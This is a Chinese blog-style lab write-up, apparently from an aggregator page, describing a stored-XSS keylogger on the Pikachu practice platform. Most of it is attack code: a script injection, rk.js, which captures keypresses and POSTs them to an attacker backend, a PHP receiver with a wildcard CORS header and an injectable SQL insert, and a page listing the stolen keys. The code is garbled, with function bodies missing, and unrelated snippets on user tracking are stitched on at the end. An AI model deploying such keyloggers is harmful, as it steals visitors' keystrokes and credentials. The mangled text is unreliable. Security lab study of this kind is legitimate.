xss攻擊 記錄使用者按鍵實驗

2021-10-06 00:26:00 字數 3217 閱讀 7675

目標主機:win10 192.168.56.133

攻擊主機:win10 192.168.56.132

0x0:在有xss漏洞的的網頁上寫下

""

>

<

/script>

0x1獲取使用者的按鍵,傳送到攻擊者的後台主要功能就是獲取使用者的按鍵:string.fromcharcode(event.keycode);

然後再非同步傳送到攻擊者的後台

開啟f12 network,我們可以看到跳轉到rk.js成功了

按鍵記錄儲存下來了傳送給攻擊者後台

rk.js

/**

* created by runner on 2018/7/8.

*/function

createajax()

}else

if(window.activexobject)

}catch

(e)}

}return request;

}var ajax=

null

;var xl=

"datax="

;function

onkeypress()

document.onkeypress = onkeypress;

function

show()

else}}

var postdate = xl;

ajax.

open

("post"

,"",true);

ajax.

setrequestheader

("content-type",)

; ajax.

setrequestheader

("content-length"

, postdate.length)

; ajax.

setrequestheader

("connection"

,"close");

ajax.

send

(postdate)

;}

0x2 將獲取到的按鍵放入資料庫中重點://設定允許被跨域訪問

header(「access-control-allow-origin:*」);

rkserver.php

<?php 

/** * created by runner.han

* there is nothing new under the sun

*/include_once

'../inc/config.inc.php'

;include_once

'../inc/mysql.inc.php'

;$link

=connect()

;//設定允許被跨域訪問

header

("access-control-allow-origin:*");

$data

=$_post

['datax'];

$query

="insert keypress(data) values('$data

')";

$result

=mysqli_query

($link

,$query);

?>

0x3 展示按鍵資料

pkxss_keypress_result.php

<?php 

// error_reporting(0);

include_once

'../inc/config.inc.php'

;include_once

'../inc/mysql.inc.php'

;$link

=connect()

;// 判斷是否登入,沒有登入不能訪問if(

!check_login

($link))

if(isset

($_get

['id'])

&&is_numeric

($_get

['id'])

)?>

"content-type" content=

"text/html; charset=utf-8"

/>

鍵盤記錄結果<

/title>

"stylesheet" type=

"text/css" href=

"../antxss.css"

/>

<

/head>

"title"

>

pikachu xss 獲取鍵盤記錄結果<

/h1>

"../xssmanager.php"

>返回首頁<

/a>

<

/div>

"xss_main"

>

"1px" cellpadding=

"10" cellspacing=

"1" bgcolor=

"#5f9ea0"

>

id<

/td>

記錄<

/td>

操作<

/td>

<

/tr>

<?php

$query

="select * from keypress"

;$result

=mysqli_query

($link

,$query);

while

($data

=mysqli_fetch_assoc

($result))

">刪除

a;echo

$html;}

?>

<

/table>

<

/div>

<

/body>

<

/html>

結果展示:

跟蹤記錄使用者

1 標記承載使用者身份的http請求首部 form 存放email user agent 監聽瀏覽器 3 使用者登入 4 胖url,開始進入 的時候,會生成乙個標識,加在每個a標籤上,當訪問此網頁的所有鏈結時,伺服器識別出標識知 道還是這個客戶,1缺點 1.不美觀,2.對伺服器生產額外複雜 3.不能...

記錄使用者操作

在最近工作中,博主手頭上的web專案提了乙個新的需求,這個需求大體上就是希望系統能夠記錄使用者做了哪些操作,包括這些操作的細節。大家都知道,使用者的操作無非就是增,刪,改,查。因為我現在做的這個專案對使用者的查詢操作不敏感,所以只需記錄增,刪,改。在做之前呢,我的leader給了我乙個建議 你要不寫...

記錄使用者登入日誌

我們可以在專案中,實現使用者登入日誌記錄。簡單實現方法,如下 在資料中建立一張表,儲存一些相關的資訊。setansi nulls ongo setquoted identifier ongo create table dbo loginlog loginlogid int identity 1 1 ...